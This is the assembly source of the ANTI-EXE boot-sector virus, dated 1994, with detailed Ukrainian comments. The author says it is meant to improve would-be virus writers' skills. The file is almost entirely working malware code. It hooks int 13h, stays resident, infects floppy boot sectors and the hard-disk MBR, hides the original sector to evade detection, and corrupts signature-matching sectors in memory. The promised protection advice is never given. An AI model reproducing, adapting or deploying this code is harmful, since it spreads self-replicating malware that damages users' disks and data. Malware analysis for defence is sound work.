;
;---------------------> Boot Virus ANTI-EXE <-----------------------
;
;This file was written by Dentist. Copyright (C) ToothWare Lviv 1994
; У звязку з великою поширенўстю лўтеатури по вўрусам  (також ∙∙ де-
;фўцитом) багато людей вирўшило попробувати себе в ролў авторўв ком-
;п'ютерних вўрусўв. Здебўльшого написанў вўруси дуже примўтивнў,тоб- 
;то  можуть так заразити файл що потўм його вже не вилўчиш,а засўкти
;його як кажеться раз плюнути.Щоб пўдвищити квалўфўкацўю цих програ-
;мўстўв не тўльки у написаннў вўрусўв,а й щоб вони змогли почерпнути
;для  себе щось нове я вирўшив випустити декўлька фйлўв з документа-
;цўїю про  деякў дуже "популярнў" вўруси. Вони будуть представленў у
;у виглядў .ASM файлўв з поясненням роботи у коментарах,а також дякў
;факти, варўанти захисту ў лўкуваня вўд даного вўруса.
; Почну з бутового вўруса ANTI-EXE.Цей вўрус в свўй час був дуже по-
;ширений, рўдко траплявся компютер який був ним не заражений. В мене
;самого ним була заражена бўльша половина дискет кўнець  кўнцўв  вўн
;менў надоўв ў ви бачите те що ви бачите (його ассемблерний лўстўнг)
;В "квиряннў"  менў дуже допомогла программа BD . Це  їдиний дебугер
;який пўдтримуї конвейїр команд, не перехоплю переривання 1 ў 3 , не
;затираї стек, дозволяї трасувати загрузку комп'ютера ў  т.д.  Бўльш
;докладнўше про його роботу читайте в документацў∙.
;
;		О П И С   Р О Б О Т И   В Ў Р У С А
;   Резидентний неопасний  (а може й опасний, як хто розумўї) вўрус.
;Довжина 512 байт. Записуїться в boot-секторў дискетиў MBR вўнчесте-
;ра при читаннў з них (int 13h,ah = 2).Оригўнальний boot-сектор збе-
;рўгаї на вўнчестерў по адресу 0/0/13 (головка/трек/сектор),а на ди-
;скетў адрес змўнний.Перехоплюї переривання int 13h ,зменшуї  об'їм
;памятў на один кўлобайт.
;   Процес  початково∙ загрузки на IBM - сумўсних комп'ютерах скла-
;даїться з считування boot-сектора,який розмўщуїться по абсолютному
;адресу 0000Ж7С00, ў передаї туди управлўння.Коли проходить загруз-
;ка з зараженого диска, замўсть boot-сектора считуїться тўло  вўру-
;са. Потўм  на початок вўруса передаїться управлўння ў вўрус робить
;свою "чорну" справу.
;   А саме вўн зменшуї на 1 об'їм памятў (слово по адресу 0000:0413
;в шуснадцятковўй) резервуючи тим самим 1 Кбайт пўд свою копўю.
;... to be continue
;
;
;
;	Документацўя				Lviv (C) 1994
;	вўд 13/04/94				Dentist & Ko.

cseg	segment	word	public	'CODE'
	assume	cs:cseg,ds:cseg
	org	0h
NewVector	EQU	0D3h	;номер вектора яким користуїмся замiсть
				;дiйсного значення вектора OldVector
OldVector	EQU	013h	;номер вектора який змiнюїм
ForSegment	EQU	002h	;в DWORD комiрках сегмент записуїться в стар-
ForOffset	EQU	000h	;ших двох байтах а змiщення в молодших
MemSizeAdr	EQU	413h	;адрес комiрки в сегментi 0000 де зберiга-
				;їться розмiр памятi в кiлобайтах
BootOffset	EQU	07C00h	;в сегментi 0000 адрес з якого загружаїться
				;BOOT сектор

;*************** почеток тiла вiруса ****************
	jmp	instaljator1	;по цих перших чотирьох байтах ANTI-EXE-шка
	db	04Dh		;визначаї чи диск заражений чи нў

OldBoot		dw	?	;В першому байтi номер сектора
				;а в другому байтi номер дорожки 
OldBootHead	db	?	;а тут номер головки (сторони)
				;якi вказують на сектор з
				;нормальним загрузчиком
ForFunction	dw	?	;Тут зберiгаїм значення AX з яким
				;було викликано переривання 13h

;******* Блок параметрўв диску (для дискети) ********
		org	0000Bh
SectorSize	dw	00200h	;кўлькўсть байт в секторў
ClusterSize	db	002h	;кўлькўсть секторўв в кластерў
ReservedSectors	dw	00001h	;кўлькўсть зарезервованих секторўв (перед FAT)
QuantityFAT	db	002h	;кўлькўсть FAT-ўв
RootSize	dw	00070h	;кўлькўсть 32-байтових елементўв
				;корневого каталога
TotSectors	dw	002D0h	;кўлькўсть секторўв на носў∙ (роздўлў диску)
Media		db	0FDh	;дескриптор носўя
FATSize		dw	00002h	;кўлькўсть секторўв в однўй FAT
SectorsPerTrek	dw	00009h	;кўлькўсть секторўв на треку
QuantityHead	dw	00002h	;кўлькўсть головок (поверхонь)
HidenSectors	dw	00000h	;кўлькўсть схованих секторўв

OffsetSectorSize	EQU	00Bh
OffsetClusterSize	EQU	00Dh
OffsetReservedSectors	EQU	00Eh
OffsetQuantityFAT	EQU	010h
OffsetRootSize		EQU	011h
OffsetTotSectors	EQU	013h
OffsetMedia		EQU	015h
OffsetFATSize		EQU	016h
OffsetSectorsPerTrek	EQU	018h
OffsetQuantityHead	EQU	01Ah
OffsetHidenSectors	EQU	01Ch

Signatura	db	04Dh,05Ah,040h,000h,088h,001h,037h,00Fh,0E0h

;************ Новий обробчик переривання ************
New_Int13	proc	far
	cmp	ah,000F9h	;Якщо викликаїться переривання int 13h ў ре-
	jz	End_Int13__	;гўстр AH = 0F9h (деяка не ўснуюча функцўя)
				;то прапорець ZF встановлюїться в одиницю
				;ў повертаїться в виконувану програму.
				;Тим самим можна визначити чи вўрус ї
				;в памятў

	mov	cs:ForFunction,ax	;Викликаї ўстине переривання для зада- 
	int	NewVector	;них параметрўв ў якщо виникла помилка то
	jc	End_Int13__	;вийти з переривання ўнакше ўдем дальше

	pushf			;Якщо переривання було викликано при AH НЕрўв-
	cmp	byte ptr cs:ForFunction[1],002h	;ному 2 (функцўя читання сек-
	jnz	End_Int13_	;тора) то йдем на вихўд ўнакше дальше -- обро-
				;бим це "свято"

;************* Може попартачити трохи ? *************
	push	cx	;Може й попартачим,подивимся "по таймеру"
	push	si	;але поки що збережем у стеку регўстри
	push	di	;якў будем використовувати
	push	ds

	sub	cx,cx	;Комўрка памятў з адресом 0000h:046Ch ї не що ўнше як
	mov	ds,cx	;лўчильник ўмпульсўв таймера через кожнў 55 mc з почат-
	test	byte ptr ds:[046ch],003h	;ку ўнўцўалўзацў∙ (4 байта).
	jz	NePartachyty	;Якщо в молодшому словў молодшў два бўта рўвнў
				;нулю то перейдем ў не будем партачити
				;получаїться що в 3/4 випадках будем партачити
				;а в 1/4 випадках не будем.

	push	cs	;Манўпулюїм з ригўстрами так щоб регўстрова пара
	pop	ds	;ES:DI - вказувала на початок першого загруженого сек-
	mov	di,bx	;тора, а DS:SI на початок сўгнатури по присутностў
			;яко∙ на початку сектора ў будем партачити

Cont:	lea	si,Signatura	;в циклў кожен раз в SI загружаїм адрес сўгнат-
	mov	cx,8		;ури, в CX ∙∙ довжина
	push	di		;DI вказуї на початок сектора в памятў в якому
	repe	cmpsb		;в даний момент шукаїться сўгнатура (з змўщ. 0)
	pop	di		;ў якщо знаходиться то управлўння передаїться
	jz	Partachyty	;на мўтку Partachyty (виходимо з циклу) ўнакше
	add	di,200h		;коректуїм вўдповўдним чином DI так щоб вўн
				;вказував на наступний сектор в памятў
	dec	byte ptr cs:[ForFunction]	;в цўй змўннўй мўститься кўль-
	jnz	Cont		;кўсть зчитаних секторўв ў прокручуїм цикл
				;по всўх секторах

	jmp	short	NePartachyty	;ANTI-EXE-шку напевно скомпўлювали на
	nop	;Macro Assembler-ў,тому що такий код може зробити тўльки вўн
		;замўсть команди jmp NePartachyty (ўдўотўзм - правда ???)

Partachyty:	;Партачення заключаїться в тому що в перший байт сектора в яко-
	stosb	;му знайшли сўгнатуру записуїм вмўстиме регўстра AL (але це
		;тўльки в памятў на диску нўчого не мўняїм)
NePartachyty:
	pop	ds	;Вўдновлюїм вмўстиме регўстрўв
	pop	di	;якими ми користувались
	pop	si
	pop	cx

	cmp	cx,00001h	;Якщо було викликано переривання з регўстрами
	jnz	End_Int13_	;тикими що вказують на читання сектора (-ўв)
	cmp	dh,000h		;починаючи з сектора з номером 0/0/1 (boot-
	jnz	End_Int13_	;сектор) то на пўдпрограму обробки,яка або
	call	ToWork		;його заразить (якщо вўн ще не заражений) або
				;"пўдсуне його справжнї вмўстиме" (якщо вўн
				;вже заражений)

;*************** Вихўд з переривання ****************
End_Int13_:			;Тўльки через цей код вўрус повертаї управлўння
	popf			;процесу який викликав це переривання.
End_Int13__:			;Ї двў точки виходу якў залежать вўд того чи ї
	ret	2		;у стеку записане слово стану процессора (PSW)
New_Int13	endp

;********** Обробка читання вектора 0/0/1 ***********
ToWork		proc	near
;************ Збережем у стеку регўстри *************
	push	ax	;Ну зрозумўло що ми робим?!
	push	bx	;Ми зберўгаїм в стеку регўстри
	push	cx	;якими будем коритуватись
	push	dx
	push	ds	;При входженнў в цю пўдпрограму
	push	es	;всў регўстри мають твкўж значення
	push	si	;як ў при виклику переривання
	push	di	;AH = 0, AL = ?, ES:BX = буфер для читання
			;CX = 1, DH = 0, DL = ?

;******* Провўрим чи даний boot вже заражений *******
	push	es		;Порўвняїм перших чотири байти зчитаного boot-
	pop	ds		;сектора з першими чотирма байтами вўруса
	mov	ax,cs:[0000h]	;якщо вони спўвпадають то будем"вважати що
	cmp	ax,[bx]		;даний boot-сектор вже заражений ў будем вико-
	jnz	NoInfected	;нувати наступний блок операторўв який пўдстав-
	mov	ax,cs:[0002h]	;ляї нормальний boot-сектор,ўнакше будем вважа-
	cmp	ax,[bx+2]	;ти що сектор не зараженийў перейдем на мўтку
	jnz	NoInfected	;NoInfected (не заражений) там ми його заразим

;********* Пўдсунем нормальний boot сектор **********
	mov	cx,OldBoot[bx]		;Опредўлимо де на даному диску нахо-
	mov	dh,OldBootHead[bx]	;диться нормальний boot-сектор у вўд-
	mov	ax,00201h		;повўднў регўстри занисем цў данў
	int	NewVector		;викличем переривання читання сектора
	jmp	short	ExitFromThere	;ў йдем на вихўд з пўдпрограми

;********* Заразим не заражений boot-сектор *********
NoInfected:
	cmp	dl,001h		;В DL - номер пристрою вводу/виводу (0=A,1=B)
	ja	ExitFromThere	;заражати тўльки якщо пристрўй дисковўд A або B
				;ўнакше вийти з переривання

;*********** Знайти кластер для "хвоста" ************
	mov	ax,[bx+OffsetFATSize]		;AX - розмўр FAT в секторах
	mul	byte ptr [bx+OffsetQuantityFAT]	;AX - розмўр FAT помножений на
						;кўлькўсть FAT-ўв ў це рўвне
						;кўлькостў секторўв видўлених
						;пўд всў FAT-и
	add	ax,[bx+OffsetReservedSectors]	;AX - додамо ще крўм того кўль-
						;кўсть зарезервованих секторўв
						;перед FAT-ами (MBR,BOOT,ў т.д)
	push	dx				;
	mov	cl,4				;
	mov	dx,[bx+OffsetRootSize]		;DX - кўлькўсть елементўв кор-
						;невого каталога (в 32-байтних
						;структурах
	shr	dx,cl				;роздўливши DX на 16 будем мати
						;кўлькўсть секторўв видўлену
						;пўд ROOT
	add	ax,dx				;ў це також додаїм до AX
						;отже AX рўвне кўлькостў сек-
						;торўв видўленўй пўд :
						;FAT,ROOT,BOOT...
	dec	ax				;корекцўя необхўдна для бўльш
						;простих розрахункўв
	mov	cx,[bx+OffsetSectorsPerTrek]	;CX - кўлькўсть секторўв на
	push	cx				;одному треку
	sal	cx,1				;CX - кўлькўсть секторўв на
						;однўй дорожцў але з двох
						;сторўн
	sub	dx,dx				;будем дўлити DX:AX на CX
						;число в AX вже ї,а щоб ча-
						;сом не виникло переповнення то
						;ми й вживаїм регўстрову пару
						;DX:AX ,але старше слово маї
						;бути рўвним нулю
	div	cx				;пўсля дўлення в AL - номер
						;треку (AH = 0)
						;DX - кўлькўсть секторўв вже
						;занятих на данўй дорожцў
						;на двох сторонах,
						;але менше на 1 ???
	pop	cx				;CX - кўлькўсть секторўв на
	push	ax				;одному треку
	mov	ax,dx				;остачу вўд дўлення в DX знову
	sub	dx,dx				;заносимо в регўстрову пару
						;DX:AX ў дўлим на кўлькўсть се-
						;кторўв на однўй дорожцў
	div	cx				;пўсля дўлення в AL - номер
						;сторони
						;DL - кўлькўсть секторўв вже
						;занятих на данўй дорожцў
						;але менше на 1 ???

	mov	dh,al				;в AL - номер сторони
	mov	cl,dl				;в DL - номер сектора-1
	pop	ax				;в AL - номер дорожки
	mov	ch,al
	inc	cl				;в CL - вўдкоректований номер
						;сектора
	pop	ax
	mov	dl,al				;в AL - номер пристрою вводу/
						;виводу
						;всў регўстри якў визначають
						;сектор вказують на останнўй
						;сектор з вже видўлених
						;це переважно останнўй сектор
						;ROOT запису (переважно ROOT
						;розмўщуїться пўсля FAT
	mov	cs:OldBootHead,dh		;записуїм в вўдповўднў комўрки
	mov	cs:OldBoot,cx			;номера: сторони,дорожки ў
						;сектора де ми будем зберўгати
						;оригўнальний BOOT-сектор
	mov	ax,00301h			;ў оригўнальний BOOT записуїм
	int	NewVector			;видўлене мўсце.
	jc	ExitFromThere			;Ну якщо помилка запису то
						;вийти звўдси а ўнакше
						;запишем вўрус на мўсце BOOT-а
	push	cs				;але спочатку ўз нормального
	pop	es				;BOOT-сектора перешлем таблицю
	cld					;параметрўв дискети на ∙∙ ж
	mov	di,offset ForFunction		;мўсце але в тўлў вўруса
	mov	si,bx				;довжина блоку який будем пере-
	add	si,di				;силати рўвна 23 байти
	mov	cx,00017h
	rep	movsb
	mov	ax,00301h			;а тепер запишем тўло вўруса
	xor	bx,bx				;замўсть BOOT-сектора ў
	mov	cx,00001h			;вже з правильною таблицею
	sub	dh,dh				;параметрўв диску це потрўбно
	int	NewVector			;для того щоб на незараженўй
						;машинў ўнформацўячиталась з
						;диску нормально

;***** Вихўд з пўдпрограми обробки boot сектора *****
ExitFromThere:
	pop	di	;Там,на початку цўї∙ пўдпрограми ми зиписали в стек
	pop	si	;цў регўстри.
	pop	es	;Тепер не мўшало б ∙х звўдтам зчитати
	pop	ds	;повернувши ∙м початковў значення
	pop	dx
	pop	cx
	pop	bx
	pop	ax
	ret
ToWork		endp

;*************** Ў Н С Т А Л Я Т О Р ****************

;************* Ўнсталюї вўрус в памятў **************

Instaljator1:

;******** Перехопити потрўбнў переривання ***********
	xor	di,di			;За допомогою регўстрово∙ пари ES:DX
	mov	ds,di			;пересилаї адрес переривання OldVector
	les	dx,ds:[OldVector * 4]	;в комўрку де зберўгаїться вектор
	mov	ds:[NewVector * 4 + ForOffset],dx	;переривання
	mov	ds:[NewVector * 4 + ForSegment],es	;NewVector

;*************** Ўнўцўалўзувати стек ****************
	cli			;Ўнўцўалўзуї стековў вказўвники так
	mov	ss,di		;щоб вони вказували на область памятў зразу
	mov	si,BootOffset	;перед BOOT сектором SS:SP = 0000h:7C00h
	mov	sp,si		;а заодно встановлюї SI = 7C00h
	sti

;************** Кої шо записати в стек **************
	push	ds		;DS = 0000h вўдносяться до RETF по мўтцў
				;GoToBoot який виконуї передачу управлўння
	push	si		;SI = 7C00h на оригўнальний BOOT сектор пўсля
				;його загрузки
	push	si		;SI = 7C00h потўм буде використано командою POP BX
				;для того щоб ES:BX вказувало на буфер для загрузки
				;оригўнального BOOT сектора (0000:7C00)

;****************** Видўляїм память *****************
	mov	ax,ds:[MemSizeAdr]	;зменшуїм на 1К розмўр закально∙ памятў
	dec	ax			;i робим перетворення цього числа
	mov	ds:[MemSizeAdr],ax	;так щоб вўн вказував адрес сегменту
	mov	cl,6			;для программи ў пересилаїм в ES
	sal	ax,cl			;ў ES повинно вказувати на початок
	mov	es,ax			;"вўдгрижено∙" памятў
	mov	ds:[OldVector * 4 + ForSegment],ax
	mov	word ptr ds:[OldVector * 4 + ForOffset],offset New_Int13
					;встановлюїм вектор перивання OldVector
					;так щоб вўн вказував на ES:New_Int13
					;так як в цў адреса буде переслано тўло
					;програми

;************** Обосновуїмся в памятў ***************
	push	ax			;пересилаї свої тўло в видўлену область
	mov	ax,offset Instaljator2	;памятў (∙∙ сегмент в ES) починаючи з
	push	ax			;0-го змўщення ў передаї управлўння за
	mov	cx,00100h		;допомогою RETF на код по мўтцў
	cld				;Instaljator2 вже в своўй копў∙ яка
	rep	movsw			;находиться в видўленўй памятў
	retf

Instaljator2:

;******************** ?????????? ********************
	xor	ax,ax		;мав би скинути в початкове полження дисковод
	mov	es,ax		;але не встановлюї DL i тому нi чого не
	int	NewVector	;виходить (??? хотя треба ще подумати) заодно
			;в ES записуї 0000 (сегмент куди читати Boot-сектор)

;************ Загружаї старий BOOT сектор ***********
	push	cs		;в DS загружаїться значення CS тобто DS тепер
	pop	ds		;вказуї на сегмент з тiлом i даними (DS:0000)
	mov	ax,00201h	;функцiя читання одного сектора
	pop	bx		;ES:BX вказують куди читати сектор 0000:7С00
	mov	cx,OldBoot	;в CL-номер сектора,в CH номер дорожки
	cmp	cx,0000Dh	;Якщо CX не рiвний 0000Dh то перейти на
	jnz	ReadFloppy	;загрузку нормального boot-сектора з дiскети
	mov	dx,00080h	;iнакше загрузити boot-сектор з вiнчестера
	int	NewVector	;на вiнчестерi вiн завжди в секторi з номером
				;(головка/дорожка/сектор) 0/0/13 в десятковiй
GoToBoot:			;передаї виконання на загружений boot-сектор
	retf			;CS:IP = 0000:7C00
ReadFloppy:
	sub	dx,dx		;загружаї нормальний boot-сектор з дискети
	mov	dh,OldBootHead	;iнформацiю про його розмiщення бере в комiрках
	int	NewVector	;OldBoot i OldBootHead
	jc	GoToBoot	;якщо була помилка то йти на передачу управ-
				;лiння загруженому boot-сектору (??? може я
				;не правий)

;******** Читаї сектор (0/0/1) на вiнчестерi ********
	push	cs		;читати один сектор в память зразу пўсля рези-
	pop	es		;дентно∙ чистини вўруса,там ще маї бути 512
	mov	ax,00201h	;байт вўльних (на цю область вказуї регўстрова пара
	mov	bx,00200h	;ES:BX = VirusSegm:00200h,де VirusSegm - сегмент
				;початку тўла вўруса рўвний CS,дивись вище)
	mov	cx,00001h	;дорожка = 0,сектор = 1
	mov	dx,00080h	;головка = 0,пристрўй = вўнчестер (код 80h)
	int	NewVector	;якщо була помилка (CF=1,наприклад вўнчестер
	jc	GoToBoot	;не ўснуї) то йти на передачу управлўння за-
				;груженому boot-сектору

;********** Провўрити чи MBR вже заражений **********
				;всў сементнў регўстри (крўм SS = 0000) рўвнў
				;мўж собою ў вказують на область вўруса
				;в цўй областў починаючи зў змўщення 0000h
				;"сидить" тўло вўруса, зў змўщення 0200h
				;находиться загружений вище MBR вўнчестера
	xor	si,si		;SI = 0000h початок тўла вўруса
	lodsw			;BX = 0200h початок загруженого MBR вўнча
	cmp	ax,[bx]		;якщо першў чотири байти вўруса ў MBR спўв-
	jnz	ToInfect	;падають то вважаїться що MBR вже заражений
	lodsw			;ў йдем на код передачў управлўння загруженому
	cmp	ax,[bx+2]	;boot-сектору ўнакше на наступний блок в якому
	jz	GoToBoot	;вўдбуваїться зараженя MBR

;************* Заразити MBR вўнчестера **************
ToInfect:
	mov	cx,0000Dh	;записати старий MBR на вўнчестер по абсолют-
	mov	OldBoot,cx	;ному адресу 0/0/13 (головка/трек/сектор)
	mov	ax,00301h	;На вўнчестерў MBR завжди записуїться в
	push	ax		;цей сектор,якщо там щось було то воно
	int	NewVector	;буде затерте
	pop	ax		;якщо виникла помилка обмўну з диском то йти
	jc	GoToBoot	;на передачу управлўння загруженому boot-сек-зу

	mov	si,offset PartitionTable + 00200h	;Скопўюватм тадлицю
	mov	di,offset PartitionTable		;дескрипторўв роздўлўв
	mov	cx,00021h	; = (PartitionTableSize + BootSignaturaSize)/2
				;з нормального
	rep	movsw		;MBR в те саме змўщення але в тўлў вўруса
				;ў тепер це запишем замўсть оригўнального MBR
	inc	cx		;CH = 00h,CL = 01h (дорожка - 0, сектор - 1)
	sub	bx,bx		;ES:BX - вказуї на тўло вўруса
	mov	OldBootHead,dh	;DH = 00h (номер головки - 0)
	int	NewVector	;записуїм вўрус в MBR ў
	retf			;передаїм управлўння загруженому сектору

;** Блоки даних якў використовуються при загрузцў ***
	org	001BEh
PartitionTable	db	4 * 16 dup (?)
PartitionTableSize	EQU	$ - offset PartitionTable
					;при зараженнў вўнчестера (ў загрузцў)
					;в цўй областў находяться дескриптори
					;роздўлўв

BootSignatura	db	055h,0AAh	;признак boot сектора останнў два байти
					;мають бути рўвнў 55h,AAh
BootSignaturaSize	EQU	$ - offset BootSignatura

cseg	ends
	end
